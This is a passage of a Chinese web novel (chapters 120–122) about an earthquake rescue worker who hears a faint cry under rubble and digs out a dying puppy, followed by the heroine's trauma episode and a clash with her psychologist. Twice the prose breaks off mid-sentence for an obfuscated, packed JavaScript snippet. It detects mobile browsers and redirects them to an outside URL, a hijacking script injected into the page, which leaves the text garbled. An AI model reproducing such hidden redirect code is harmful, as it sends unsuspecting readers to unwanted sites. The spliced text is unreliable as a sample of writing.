齐寻也真是神了,什么人他都能搭上点关系,摇来做帮手。 “地方政府竟然还靠点谱,”黎叙闻喃喃道:“我还以为他们真的屁事不干呢。” 小伙摇摇头:“他们没让,老师自己贴了路费和打点,混进来的。” “……为什么没让?” “因为他总在现场喝酒。” 黎叙闻苦笑,觉得这倒没冤枉他。 可电光火石间,她想起了《最后的证词》的后记—— “虽然每一次站在工作台前都是一场噩梦,但我仍感谢他们来我的梦里。很可惜我没有机会跟他们中的任何一个碰杯,不过很幸运,从他们身上,我已经学会了不再为死亡哭泣。” 她看着那份金光闪闪的履历,说:“没错,我认得。” 师姐伸手去拉他:“老师说中国人讲究低调,不要这样自夸,会显得没礼貌。” 黎叙闻笑了,刚想说什么,就听腰间的对讲机忽然通了,一阵电流声后,传来大山刻意放轻但焦急声音: “闻姐,迅速跟车到B组现场,情况紧急,听到请回话!” 黎叙闻茫然地按住手台:“我是闻闻,怎么回事?” “你……过来看一下,白蛇有点不对劲了。” 120. 第 120 章 那天早上,齐寻神清气爽地带B组出发时,其实并无异样。 他把林青淮扔在指挥帐,脚步轻快地跳上保障车,心情大好,竟罕见地哼地小曲来。 全车只有电锯妹不知道怎么回事,凑上去问:“大早上怎么这么高兴?有什么好事?” 引来整车人此起彼伏、欲盖弥彰的咳嗽。 齐寻笑了声:“小孩子家家,别多问。” 电锯妹喜提“小孩卡”,不服气得很:“那我问闻姐去。” 说着竟然真的掏出对讲机,招来一片“哎哎哎哎使不得!” 就这样打打闹闹地到了作业地点。 原本一切都十分顺利,可就在清理任务目标达成、B组收拾东西,准备开拔到下一片区的时候,出问题了。 齐寻在记录板上记下位置和拆除清理程度,伸手正要给操作员打转移的手势,手臂却顿在了当空。 在重机械轰鸣的发动机间歇里,他听见了一声裹在风里的、轻得像错觉一般的呜咽。 全世界的响动在那个瞬间全部静止,只有那一声,像穿过光阴的丧钟,贴着他的耳廓,狠狠砸在他鼓膜上。 冷汗席卷着不祥的预言,沿着脊背一路下坠,齐寻后脑一片冰凉,在思绪冻住之前,还记得哆嗦着手,去翻前面的记录。 搜索与评估小组:此区域未发现异常热源/生命迹象 他握紧了记录板粗糙的边缘,指尖开始不妙地发青。 对,是这样,他想,地震发生已经十五天,不会有幸存者了。 后面还有三个区域没清理,这么多人,这么多辆车,耽搁不得…… 也许单纯是他听错了呢,那一声或许是周围人的呼吸,或许是机械卡壳的倒气,又或者…… 是风。 他摇摇欲坠的理智,终于随着这两个字滑落了。 他大步走向正在往箱子里收生命探测仪的队员,一把抢过主机箱。 那队员手里一空,莫名道:“……白蛇?” 齐寻就跟没听见一样,拿过橙色主机箱,粗暴地把旋钮扭到最大,面无表情地踩在一地碎砖和玻璃碴上,直接将探头塞进了层叠的废墟下! 大山见势不对,立刻让现场所有发动机熄火,顺便用手台私频悄悄通知了黎叙闻。 全体人员保持静默,就连操作员从挖掘机上好奇地探出头来,都被人嘘了回去。 齐寻手抖得几乎连屏幕都端不住了,终端在他手上晃得厉害,他无声地咽了咽,死死盯着那块黑白屏。 冷汗沿着下颌滴落,摔在显示屏上,他浑然不觉。 机械作业的残波流水一样扫过,紧接着,屏幕上下起了很密很大的噪点雨。 电锯妹在旁边吓得大气不敢出,见齐寻唇色惨白,直勾勾地盯着终端,终于忍不住了:“白、白蛇,这是细砂滚落的波形……” 齐寻盯了波形两秒,忽然把终端往旁边一扔,直接跪在废墟上,开始徒手清理表面的泥沙。 周围人看不过去,过来帮着他,硬是将最上面一层杂物剥落干净,停了半分钟,等尘埃落定,齐寻抓过终端,再看! 所有人屏住呼吸,尘灰在光里悬浮,直到波形沉寂成了一条几无起伏的灰线。 没有,什么都没有。 他又听错了? 他又听错了! 挖掘机操作员被冷落许久,纳闷地喊:“喂,走不走了?” 队员们忽地如梦初醒。 救援队每天都有定额任务,时间紧任务重,不能在一个地方停留太久。如果真有幸存者也就罢了,但可能吗?真的有人能在废墟下面存活半个月? 大梁第一个站出来,蹲在齐寻身边,严肃地问:“白蛇,你听见什么了?” “下面有人,”齐寻垂着眼,依旧盯着那条灰败的线:“我听见了。” 他听见了。 那不是风,那是一个人垂死的呜咽。 也许他想要一口水,也许一口水就能救活他…… 齐寻面色青灰,额头布满细密汗珠,忽然抬起头:“我听见了,不会有错。” 大梁迟疑了一瞬,说:“……嗯,我信。” 齐寻看着他的表情,空荡荡地笑了一声,又转头去看其他人。 所有人看他的眼神都是担忧的、困惑的,甚至恐惧的。 可他看一眼就知道,他不信。他们都不信。 没有人会相信的。 于是错误无法弥补,于是他还是那个贪生怕死的杀人犯。 随行的医疗组队员发现不对,上来要给他量体温,被他轻轻推开:“大山?” 大山立刻小跑上来:“哎!” “你带着挖掘机和吊车去下个地点,到了不用等,立刻开始作业,抓紧时间。” 大山一愣:“啊?那你……” “我走不了,”齐寻把探头拍进他怀里,刻意不跟他对视:“你带人去。” 他从车上拎了把工兵铲,想了想,又放回去,只拿了两双手套,面色平静地对所有人道:“开拔去下个地点,做好记录,注意安全。” 声音一如既往地平稳笃定、波澜不惊。 没人能看见在制服底下,他冷汗已经浸透了内里T恤,脊背绷得像一张即将失去弹性的弓。 他揣在裤袋里的手,指甲正狠狠嵌进手掌。 整个B组面面相觑,气氛僵硬地集合,大梁忍了又忍,在开拔前最后一刻出队,对齐寻道:“我留下。” 齐寻摇头,撑着最后一点理智:“你跟大山一起,替我一回。拜托了。” …… 于是黎叙闻火急火燎赶到时,看到的就是这样一副光景。 齐寻穿着单薄的T恤,跪在一地的墙皮、碎石和玻璃碴上,手上戴着一副破烂的手套,上面全是斑斑血迹,面无表情地徒手向下挖。 在他身边,所有清理出来的碎屑杂物堆成了小山,对讲机和制服上衣像被遗弃了一样,堆在杂物中间。 她一路狂奔到齐寻跟前,连原因都没来得及问,眼泪就先止不住:“怎么了?怎么回事?” 早上还在满营地追着她喂折耳根,这还没过几个小时,怎么就…… 齐寻听见她的声音,手上的动作忽然停下,然后慢慢抬起头,望着她。 那种眼神非常陌生,冷漠、死寂、空洞,流窜着疯狂。 她从没见过齐寻这个样子,就好像…… 就好像有谁趁人不注意,穿上了他的皮囊。 她浑身起了一层鸡皮疙瘩,却见齐寻慢慢眨了眨眼,道:“闻闻?你怎么在这?” 黎叙闻肩膀陡然一松。 下一刻,她眼前覆上了带着尘土味的粗糙触感:“不是让你别来现场吗?” 他手掌贴着她的眼睫,轻声说:“闻闻不怕。” 黎叙闻瞬间就落泪了。 千般急智,万般手段,她一点都使不出来了。她只想大哭一场,嚎啕着把她的爱人叫回来。 “齐寻,你怎么了?”她顾不上脏,摘下他的手掌贴在侧颊,眼泪断了线似地不住地掉:“你告诉我好不好?” 齐寻一动不动,眼中的空洞慢慢地退去,露出一种难以形容的悲伤:“闻闻,下面有人,下面真的有人。” “我听见了。”他像是咽下了所有勇气,才又问:“你信我吗?” 他这辈子好像都在等这样一个时刻——有个人信他,于是他就可以相信他自己。 相信他自己当时听到的真的是风声,而不是…… 黎叙闻看着他,伸手抹掉眼泪:“我信你。” 齐寻喉结倏然一滚,悬浮在一片黑暗中的灵魂猛地惊醒了。 他不必分辨,也不必追问,甚至不用醒来,只要还看着她的眼睛,他就知道,她真的相信。 哪怕地震已经过去半个月,再精密的探测仪都测不出一次呼吸,一下心跳。 哪怕她想不起以前的一切,不知道他的执念从何开解。 只要他开口问,她就会相信。 因为这份相信,他得以重回人间。 齐寻一言不发地注视她,经年压抑的痛苦和孤独忽然透过某个干涸的裂隙,缓消慢融、却势不可挡地,慢慢渗出来。 而黎叙闻已经不再看他了。 她跪在地上,拿起备用手套,一只一只替他换好,自己也套了一双。 她用粗线织的扎实的手套握住他的手。 “不行,”齐寻想挣开她:“你忘了你刚来的时候,难受成什么样子……” 却没能挣得开。 拉着他的那只手攥得极紧,好像全身的力气都压在上面。 “下面有人,”她盯着他的眼睛,一字一句道:“我们一起把他救出来。” 两个人并排跪着,像守在过往破碎的祭坛前。 机械吊走的只是易坍塌的部分,而再无威胁的半塌楼板如残臂断肢一般互相扶持勾连,仍固执地支撑在原地,立在层层叠叠的碎砖烂瓦旁,映着碎玻璃反射的刺目日光,在看守一个秘密。 在不知道第多少次捧起满怀的渣滓时,黎叙闻轻声嘶了下,侧过身去看手腕内侧。 那里被划出了一道长长的、带着血珠的痕迹。 她像之前一样拉了拉袖子,把这道也遮在衣服下,转头却对上齐寻的眼睛。 “我叫他们回来接你。”他伸手去摸手台,却被黎叙闻一把按住。 “你也走吗?”她问。 齐寻满脸是水痕,分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17314581|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不清是冷汗还是什么,睫毛上落的都是水珠。 他没回答,却说:“万一我听错了呢?” 黎叙闻抬手抹去马上要流入他眼里的汗水,又问了一遍:“你也走吗?” 日光渐渐淡下来,温暖变得难以为继,凉风吹过,吹得齐寻身上的T恤潮冷地贴在背后。 “我走不了,”他盯着散落在地的细碎瓷片,慢慢摊开自己的双手:“不挖到底,我走不了。” 这片废墟在他心里堆了十年,如果今天不挖出个结果,那就是下一个十年、二十年。 他不一定有再次面对的机会和勇气,直到他垂垂老矣,直到他慢慢死去。 黎叙闻嗯了声,没说别的,拿刚刚挖出来的半截钢筋使劲一撬,又撬碎一块揭不下来的三合板。 “闻闻……” “你说过我想做什么都可以,”她一甩手,把半块板子远远丢开:“你这个人说话不算的。” 齐寻抓住她手腕:“但你症状严重,药也都分给别人了……” 黎叙闻腕子顺着他拇指往下一按,轻松挣脱:“万一你没听错呢?你让我就这样见死不救吗?我做不到。” 齐寻静静地凝视她。 是了,他怎么忘了,十年前的地震里,她也在场。 她什么都不记得了,可她依然会被那种愧疚和无力击中——也许这不是为了他,而是她无意识里,在弥补自己的过错。 于是他不再阻拦,把手上已经碎成破布的碍事手套丢到一边,更努力地清理起碎屑来。 不知过了多久,黎叙闻忽然叫:“齐寻,你听,你听!” 齐寻一愣,立刻凝神,全部注意力都集中在那片几乎被他们挖到底的废墟上。 里面忽然传出了一声突兀的、指甲刮墙的声音! 那刺耳的声音像怕他错过似的,甚至响了两回,紧接着又是他一开始就听到的,那种轻微而绝望的呜咽。 就像风吹过一个深深的巢穴。 他顿时浑身寒毛直竖,不要命似地用手臂拼命将碎屑扫去,十指像感觉不到痛一样,插进缝隙里死命地往外刨! 黎叙闻见他这个反应,也慌忙扒开散落的砖头和砂石碎屑,表层杂物肉眼可见地见了底,直到最后,露出了压在一片狼藉废墟下、一口黑洞洞的空腔。 一阵潮湿霉冷的泥腥味扑面而来,一起传出来的,还有极细微的、断续的气音。 齐寻再顾不上其他,直接趴在地上,将整只手臂探了进去。 手掌和指间一片潮腻的湿滑,他不断不断地向更深的角落伸去,终于在几乎达到他手臂的极限时,他指间触到了一个温热的东西! 那触感不像是人的皮肤,很粗糙,又很细。他都来不及喊话,来不及询问任何,抓住那根东西一用力—— 竟真有什么被他畅通无阻地拖了出来! 那是一只奄奄一息的黄褐色小狗,整只狗像一坨已经死去的肉,软软地趴在空穴门口。 它瘦极了,眼皮耷拉着,黑色的小鼻子已经干了,背上骨头根根分明,隔着毛发剥落的皮,像是要刺出来一样。 只有扁扁的小肚子还在急促又轻浅地起伏,出气多进气少,马上就要断绝了。 齐寻愣了好几秒,才捧着这小小的身体,手足无措地把它抱在怀里。 黎叙闻赶紧递水过来,齐寻把水倒在手心,伸到小狗的嘴筒跟前,慢慢碰了碰它的鼻尖。 小狗耳朵颤了颤,眼睛都没睁开,就伸出舌头,在他手心勉力舔了一下。 一道微弱而温软的触感在他掌心轻轻一贴。 齐寻心里那道将将开裂的干涸的裂隙蓦地崩塌,被他圈禁压抑了这么多年的一切,在这个瞬间山呼海啸地席卷而来。 他连崩塌都是无声的,只有眼泪从眼眶里沉默地奔涌。 “文文,”他声音战栗:“你看到了吗?” 你看到了吗,这次我没有听错。 你不必再为你递错了那瓶水而愧疚。 你救我不是一个错误,你看到了吗? 黎叙闻早就泣不成声,她捂住小狗的眼睛,一开口就是一声哽咽:“看到了,齐寻,我看到了。” 齐寻的身体几乎承受不住这样的冲击,整个胸腔中凝固沉积的东西全部顺着这道洪流瓦解、碎裂。 他把小狗紧紧拥住,给它取暖,小狗像懂事似地,用尾巴有气无力地拍了下他的手臂。 黎叙闻一边哽咽,一边迅速用外套把小狗盖起来,给它清理了口鼻的碎屑,又给它喂电解质溶液。 “小狗小狗,你一定要争气,要努力活下来。” 今天从地震里得救的,不止你一个。 你跟他,一定都要好好地、幸福地活下去。 121. 第 121 章 小小软软的一团小狗,竟真的乘着她这句话,勇敢地把自己渡回了人间。 黎叙闻怕打扰别人,搬了小板凳,抱着它坐在帐子后面,用自热米饭里的米给它煮米汤,又把菜包里面的肉拆了,反复洗了好几遍,硬是煮出点肉汁来,混在一起,用针管一点一点地喂给它。 “你得活,知道吗?”黎叙闻把它放在腿上,一直不断地摸它嶙峋的脊背:“你活着,他才能走出来。” “算我求你,好不好?”她用手指轻轻点小狗的鼻头:“你活下来,我们就把你带回家,做你的爸爸妈妈。” 小狗半闭着眼睛,皱了皱慢慢湿润的鼻子,算是跟她拉钩了。 …… 心理组营帐内。 多了个小狗闺女的齐寻还不知道这件事,他被三个心理组成员围着,一起分析他刚填的量表。 三个人里面,还包括早上刚跟他干过一仗的林青淮。 齐寻刚从巨大的冲击里缓过神来,自制力尚未苏醒,看到这人就想发疯,可姓林的偏偏是组长,换都没法换。 林青淮金丝框镜几乎架在鼻梁驼峰处,冷淡地垂着目,一目十行扫过量表,扔到一边,说:“副队长,你知道做量表最重要的是什么?” 齐寻眼都不想抬:“什么。” “诚实。”林青淮盯着他:“作弊都讲究三短一长,你可好,填量表全选A?” “跟你说了没有必要,”齐寻人有点委顿,懒懒地:“我没有问题。” 林青淮睨他一眼,对另外两个组员道:“你们先去忙吧。” 两人早被他俩之间微妙的氛围搞怕了,飞快对视了一眼,一前一后溜了。 帐子里又只剩下要命的两个人。 林青淮哂道:“有没有问题不是你说了算。”他信手扯过来一张新的:“重来。你是否感到易怒、愤怒爆发或行为冲动?” “是,”齐寻半闭着眼:“因为你强迫我坐在这,我不想。” 林青淮:“……” 他在那道题上重重选了个E。 “下一题,”他耐着性子:“你是否对重要活动失去兴趣,或感到与他人疏离?” “对,因为我想去看闻闻和小狗,而不是对着你这张脸。” 林青淮笔尖差点撅断了。 “你还有脸提她。”他冷笑了声:“早上信誓旦旦要给她托底,转头就让她因为你暴露在易触发环境。你可真行。” “我也想问问你,”齐寻道:“她好像并没有反应,是因为已经好了吗?” 林青淮把垫板都摔了:“因为她注意力全在你身上!” 声音震得面前的折叠桌都嗡嗡的。 齐寻直白地看着他:“意思是只要跟我在一起,她就安全了,是吗?” 林青淮:“……” 是个屁! 他深呼吸了一次,缓了口气,道:“情绪不会消失,只会被压抑。对她来说,后者反而更危险。” 他又顿了顿,不情愿似地:“这几天多陪陪她,注意她的情绪。有任何不对的地方,立刻报给我。” 齐寻听了这话才抬眼看他,饶有兴趣地:“哦。” 林青淮见他这样子就烦,真想回到之前,抽死那个答应来做心理支援的自己。 但林老师到底涵养好,虽然脸上明晃晃写着“赶紧滚”,开口还是很专业:“评估结束,齐队长没有大碍,可以离开了。” …… 黎叙闻抱着小狗,上半身仰靠在篷面上,头一点一点地睡着了。 她正在做一个怪异的梦。 是那个很久没有出现过的震区。她非常确定,那不是塔拉维,因为没有大本营,没有微光的制服,有的只是那片她闭着眼睛都能画出来的残垣断壁。 这次场景也变了,远处不再有危楼,而是一望无际的烂墙碎瓦,空气里是她熟悉的消毒水味道,脚底下绊着的全是带着汽油味的血泥和肉屑。 她茫然地站在最中央,不知道该往哪走。 “闻闻。”齐寻的声音忽然从寰宇中响起来。 黎叙闻吓了一跳,赶紧四下去找,一边走一边喊他的名字,走出了好几百米,最后发现,那声音来自她的脚下。 ——无论她往哪走、走多远,他的声音都在她的脚下。 她在梦里起了一身的鸡皮疙瘩,却来不及害怕,急得立刻蹲下,问:“齐寻?你怎么在下面?你受伤没有?” 齐寻声音很平淡:“你有水吗?” 黎叙闻低头去看,发现她手里真的握着个矿泉水瓶,里面晃荡着小半瓶水。 “你要喝吗?”她手忙脚乱地去挖脚下的各种碎片:“我这就倒给你!” “你为什么要倒给我呢?”他淡声问:“你没看到旁边还有人吗?” 黎叙闻猛地抬头。 这片绵延上百里的荒凉废墟上,明明只有她一个活人。 “没、没有啊……”她开始意识到不对了,声音带着小心:“你为什么在下面……我该怎么把你救出来?” 脚下的声音不屑地嗤笑了一声:“你要真有本事救我出来,会眼睁睁看别人咽气,连口水都不给吗?” 齐寻声音冷得她几乎不敢认了:“黎叙闻,我看不起你。” 即使在梦里,黎叙闻残存的神智都能感觉到,她的脑袋很重地嗡了一声。 有什么模糊的、不安的东西,好像随着这个她无比熟悉,又无比害怕的声音,蠕动着破土而出了。 她猛地从梦里惊醒。 夕阳西下,大本营浸一片温柔的橙红里,周围人来人往,不知谁路过时给她身上盖了毯子,怀里的小狗在她身上睡得很沉,呼吸心跳依然很急促,略高的体温烘烤着她冰凉的指尖。 黎叙闻愣了好半天,才缓缓地出了口气。 她在梦里就知道那是梦,可那种恐惧和愧疚像鬼影一样从梦里追出来,如影随形地在她身边逡巡不去。 手指在毯子下面紧了紧,她摇了摇昏沉的脑袋,有点想见齐寻。 这个念头一起,一阵风骤然而起,卷来那个熟悉的声音:“闻闻?” 黎叙闻心中一喜,立刻站起来转身望去,见齐寻站在不远处,迎着融金似的霞光,好端端地站在她面前。 “哎,”她高高兴兴应了声,抱着小狗,迈步要奔向他。 这个瞬间,眼前却突然黑了。 那黑也不是完全的漆黑,而是周围突然暗下来,所有的人和物都变成了影影绰绰的轮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17318420|190916||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 廓。 可身边无人发声,都在正常地行住坐卧,就好像只有她世界里的太阳,忽然被什么东西一口吞掉了。 黎叙闻身体蓦地僵住,整个人茫然地坠入一片黑暗,甚至连声音都发不出来。 她觉得这层黑雾困了她很长时间,但等它散去,她却发现对面的齐寻甚至还没来得及走过来。 心率猛地原地飙至180,胸口像被什么东西压住,她大口地呼吸,却仍觉得窒息。 她忽然不敢过去了。 “闻闻!”齐寻见势不对,快步向她走来:“你……” 他脚步蓦地顿住。 因为他看见黎叙闻身体一缩,往后退了一小步。 她呼吸越来越急,看着他的眼神里全是惊慌恐惧,像看着什么令人害怕的怪物。 那种眼神太陌生了,自从认识黎叙闻,他从没在她身上见过这种恐惧。 被困在洪峰里时没有过,被蔡道全追杀时没有过,她天不怕地不怕,却在看着他的时候,露出这种眼神。 齐寻气息一哽,心口一阵莫名的沉重钝痛。 或许林青淮是对的,他想。 他不该用轻挑的侥幸,来对待她的人生。 就在两人僵持住的这几秒钟,林青淮正好路过,见齐寻脸色古怪,顺着他视线望去,顿时紧张:“叙闻,你怎么了?” 这一声叫得黎叙闻身体猛然一抖,似乎才从梦里惊醒。 她迟滞地看向林青淮,顿了两三秒,后知后觉地想起咨询室里的清香的味道,柔软的纸巾,还有温热的茶。 一种不由自主的安全感忽然从她心底油然而生。 不行啊,她残存的理智在不停叫嚣,不可以。 她应该选齐寻,她爱的是齐寻,不是吗? 理智这样撕扯挣扎着,震颤不休,她的身体却忽然动了。 三个人都眼睁睁地,看着她向林青淮,缓缓地迈出了一步。 这一步一旦迈出,身体就像终于找到了逃生出口,倏然不管不顾地向林青淮的方向奔了过去! 齐寻几乎反应不过来了,他眦目欲裂地看着闻闻头也不回地奔向林青淮,像逃离一个噩梦、一个仇敌一般,从他面前逃开,连个眼神都没留给他。 怎么会呢,不可能的。 她一定是病了,是不是做噩梦了?还是说她知道自己撑不住,要找专业人士求救? 是,一定是这样,齐寻右手攥紧了拳,顾不上周围路人那些不明不白的目光,一遍一遍地对自己道,她一定是特别难了,才会这样…… 还是说,她什么都想起来了? 她是不是终于记起来他是个什么样的人,终于想起自己的病其实不怪遗传,而是受了他的拖累? 所有动力和勇气瞬间被这个念头烧光,齐寻看着自己心爱的女人冲向另一个男人,双脚却死死地钉在地上,寸步难移。 他竟然不敢向前了。 林青淮一时也惊慌失措,上前两步一把扶住她,见她瞳孔不住震颤,脉搏跳得如同擂鼓,当即心下一沉:“怎么回事?” 黎叙闻怀里紧紧抱着小狗,喘得几乎抬不起头:“先带我走。” “……叙闻?” “带我走。” 122. 第 122 章 林青淮没再犹豫,直接把她带回了医疗区。 刚跟着A组回来的医疗组长见到黎叙闻薄透如纸的脸,大惊失色:“怎么回事?闻闻怎么了?” 林青淮半扶半抱地将她按在折叠床上:“急性创伤触发,请给她注射短效镇静。” 黎叙闻一听,立刻挣扎起来:“不,不打针,不睡!我不要做梦!” “放心”医疗组长转身去找针筒和药:“这会是你睡的最好的一觉。” 小狗在她怀里发出“呜呜”的哼唧,林青淮把它接过来,温声道:“先没收你的小狗,等你醒来再还给你。” 针剂缓缓推入静脉,黎叙闻瞪大眼睛,直直望着帐篷的顶端,渐渐下沉,盖在她的脸上。 林青淮看着她慢慢阖上眼,跟组长细细交代了前因后果,不紧不慢地抱起手中的狗:“那就拜托了,我去找白蛇,把它托付了。” 转身的瞬间,他如沐春风的神色瞬间消失,取而代之的是一张面无表情的脸。 不消他找,他一踏出帐篷,就见齐寻一个人在门口,踩着昏黄日落,低头看着自己的手,张开,握紧,又张开。 林青淮两步上去,把小狗塞给他,冷淡地看了他一眼,转身就要走。 谁知却被齐寻叫住了。 林青淮停步:“难得啊,齐队长愿意主动跟我说话。” 齐寻眉眼不复坚毅,问他:“她怎么样了?” 林青淮撩了下眼皮:“很糟。” “是因为我?” “你是不是觉得我毫无职业操守,对她只有私心?”林青淮捏着眼角,嗤笑了声:“我早告诉过你,你的过往经历难免会成为触发她的按钮,虽然不直接相关,但——” 话说一半,齐寻眉心突兀地一抖,继而蓦地垂下了眼。 他手指无声地搓了半晌,良久没有答话。 过了片刻,他才声音麻木道:“我有事跟你说。” “什么?”林青淮顿了顿:“跟她有关吗?” 齐寻动作僵硬地端着小狗,往旁边看了看,抓住路过的电锯妹,塞给她,硬邦邦道:“抱着,死了唯你是问。” 说完不顾她在身后一叠声的“哎哎哎——”,偏头看了眼林青淮,便顾自往操场深处走去。 两人一前一后,一直走到接近教学楼的操场角落,齐寻才转身,盯着林青淮瞧。 这角落周围覆着葱郁的树,大白天路过都觉得阴冷,现在金乌西沉,热气散尽,稍稍站一会儿,凉意就顺着毛孔往里渗。 林青淮借着暮色之前的这一阵幽蓝,看着齐寻眉间阴霾,沉了脸色:“你要说什么?” “她十年前的经历,你知道多少?”齐寻开门见山地问。 林青淮皱眉:“这是来访者的隐私,我无权向你透露。” 齐寻沉默,敛着眉眼,不知在想什么。 良久,他出了口长长的气息,道:“好,那么我来说,你对照一下,我跟她的经历,到底有多少重合。” 讲述这件事对齐寻来说,跟生生撕开伤口、把自己最血肉模糊的地方亮给别人看,没有丝毫不同。 他已经很多年没有这样完整地、事无巨细地将当时的每一个细节都复述出来。他以为他一定会忘记很多,比如那天“文文”跟他说过的每一句话,又或者,那声萦绕了他十年的风声。 忘记才是正常的,不是吗? 但从他开口的第一秒,这些画面、声音、气味、感受,全部分毫不爽地从记忆最底层,一跃到了他的眼前。 天地间最后一束光,也跟着他缓沉磋磨的讲述,慢慢沉进了地里。周围漆黑湿冷,很像那时候埋住他的地方。 林青淮越听脸色越冷,听到最后忍无可忍,直接抓住齐寻的衣领,对他怒吼:“所以她今天的一切都是拜你所赐!然后你还把她蒙在鼓里,是吗!” 齐寻扯掉他的手,怒极反笑地逼视他:“我怎么告诉她?告诉她我是那种人,告诉她之前她放弃了另一个人救下来的,是我这种货色?” 可他的愤怒又不是对林青淮的,它爆裂地炸开,内里却空空荡荡。 “终于说实话了,”林青淮哂笑,气血一阵一阵往上涌:“说什么尊重她、陪伴她,闹了半天,最有私心的是你!” 他忽然怒火攻心,拎起的拳头握到颤抖,血管暴起:“自私!无耻!你还有脸找她,你知不知道她……她……” 齐寻额角一抽,眉头紧紧拧起:“她怎么了?” 林青淮满腔的怒火蓦地熄了。 他冷笑了声,松开齐寻,拳锋狠狠撞上他胸骨,一把将他推了个趔趄:“你不配知道。” 说完自己也泄了气似地,长长地叹了口气。 “是你啊,”他突兀地笑了声:“怪不得,怪不得……” 所以一切都是有迹可循的。 林青淮看着颓得不成人形的齐寻,想,这一切都是谁的错? 是齐寻的错吗?可他分明是最大的受害者。 难道是黎叙闻吗?没有人应该为善行而忏悔,没救出来人又怎么样,哪有必要搭上她一生? 是黎爸爸的错,他不该去前线?还是黎妈妈的错,不该动用非常手段保护女儿? 林青淮诧异地发现,数到最后,他竟然无法怪任何人。 一旦知道一个普通人的一生,看过他一路走来的轨迹,就会知道,其实每个人都别无选择。 旁观者能选择的,只有悲悯。 “就是这些,我全告诉你了。”齐寻前襟满是皱褶,声音哑得涩耳:“我配合你所有方案,今天的事我会写详细的报告给你——你得治好她。” 他慢慢坐下,手肘松松搭在膝头,整个人颓然地靠在树干上,沉默地吞咽了好几次,想问很多,最后却都没问出口。 默然许久之后,他听见林青淮摘下眼镜,用衣角轻轻擦拭镜片的细微响动。 “齐寻,”再开口,林青淮的声音也已经疲惫不堪:“你跟她分手吧。” 齐寻猛地抬起头。 远处挂在帐前的灯被人触碰,晃动不止,阴影像来回不休的钟摆,静默地笼罩,又悄悄地远离。 “过去的事都过去了,”林青淮垂着眼,也几乎难以为继:“既然对两个人都是伤害,不如早点抽身。” 他停了停,又道:“你也……好好过吧。” 说完他没再停留,抬脚往大本营走,但脚下的地像是吞人的沼泽。 他有预感,这不会是齐寻的选择。 果然,他走出五六步,齐寻忽然说:“林青淮。” 林青淮转过身,见他已经站起来,眼眶通红,但已经远不是刚那个陷在回忆里的受害者。 “我不主动靠近,如果她选择离开,我不会纠缠,”齐寻说得很慢,但异常笃定:“但只要她回头看我一次,我就绝对不会放手。” 林青淮眉头重重一压,转身走了。 “随便你。” …… 草丛里聒噪的虫鸣和风声一起停息时,黎叙闻终于慢慢睁开了眼睛。 这一觉她睡得极沉,组长没骗她,她什么梦也没做,从一片黑甜里自然醒来,所有四散的感官全部归位了。 视线回归的刹那,她看见了守在她床前的人。 黎叙闻身体动了动,本能地想对他露出笑意,却在看到林青淮温文的脸的那一刻,将笑容生生收住了。 “林青淮?”她嗓音带着刚睡醒的松散:“怎么是你?” “睡眠监控要满六小时,”林青淮把被角又给她往上提了提,温声道:“你以为是谁呢?” 黎叙闻脑子里混沌一片,她好像在等人,在等一个跟谁道歉解释的机会,却又想不起了。 等她终于记起来自己为什么躺在这,她猛地坐了起来! “齐寻呢?”她掀起被子就要下床:“他人在哪里?” 林青淮拦在她身前:“你不能见他。” 下了一半的床,黎叙闻双腿搭在床沿,愣了下,被这句猝不及防逗笑了。 “他是我老公,我不能见他?”她笑着摇摇头:“你真是越来越幽默了,让一让,我得……” 忽然,一个熟悉的声音蓦地炸响在她耳边! 她甚至来不及分辨那声音是谁的、说了什么、从哪里来,听到第一个字的瞬间,她瞬间汗毛奓起,一桶冰迎面泼来,整个人神智陡然僵住! 她一把抢过林青淮的手机,手忙脚乱地找退出键,关也关不掉,最后只能慌不择路地把它压在枕下,又裹上被子,直到声音听不分明了,她才喘息着停手。 “……我是微光……京屿……齐寻……”林青淮手机里的视频兀自播放:“录制……是……前些天……” 那是当时龙腾抗洪时,为了平息黎叙闻掀起的舆论风波,齐寻自作主张担下所有责任、并卸任副队长的视频。 这视频她无论看多少次,都会再次为那个人心动。但这时候,它却成了她避之不及的蛇蝎。 林青淮不帮她,也不阻止,只是压着眉眼,沉沉望着她。 声音的震动透过她紧压的手掌嗡嗡作响,黎叙闻茫然慌乱地跟他对视,呼吸颤抖。 林青淮叹了一声,拨开她的手,把手机拿出来,关掉视频:“为什么不让你见他,还要问吗?” “为什么?”黎叙闻声音沉哑:“怎么回事……” 身边的人垂下眼,仍没有回答。 夜色寂静,整个世界似乎只剩她平息不下来的呼吸和心跳。 黎叙闻抬手按住被冲撞不息的胸骨,内里的虚弱跟海浪一样,一阵强似一阵。 林青淮摊开手掌,里面一排铝箔包装的药片:“半片。” 白色的小药片,人畜无害地躺在透明的半圆塑料壳里,中间一道浅浅的刻痕。 只要轻轻一掰,送进嘴里咽进去,十几分钟后,她就会慢慢平静下来,现在的一切问题,都会暂时离她远去。 黎叙闻注视着这些她再熟悉不过的药片,问:“不是让你分给病人吗?” “分了,这是最后一板,”林青淮轻声说:“算我的私心。” 她几乎无声地道了声谢,伸手要去拿,在触到铝箔的前一秒,她动作忽然顿住了。 苍白的指尖在灯光突兀地一颤,然后慢慢攥成了拳。 这药的厉害她太清楚了,无论是多重的心悸焦灼, 